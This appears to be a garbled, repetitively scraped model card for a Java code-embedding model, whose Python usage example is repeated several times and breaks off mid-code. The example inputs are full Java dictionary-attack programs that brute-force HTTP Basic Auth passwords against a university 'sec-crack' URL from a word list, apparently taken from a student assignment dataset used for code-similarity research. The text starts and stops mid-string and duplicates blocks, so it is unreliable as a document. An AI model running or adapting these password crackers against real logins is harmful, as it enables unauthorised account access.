1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array 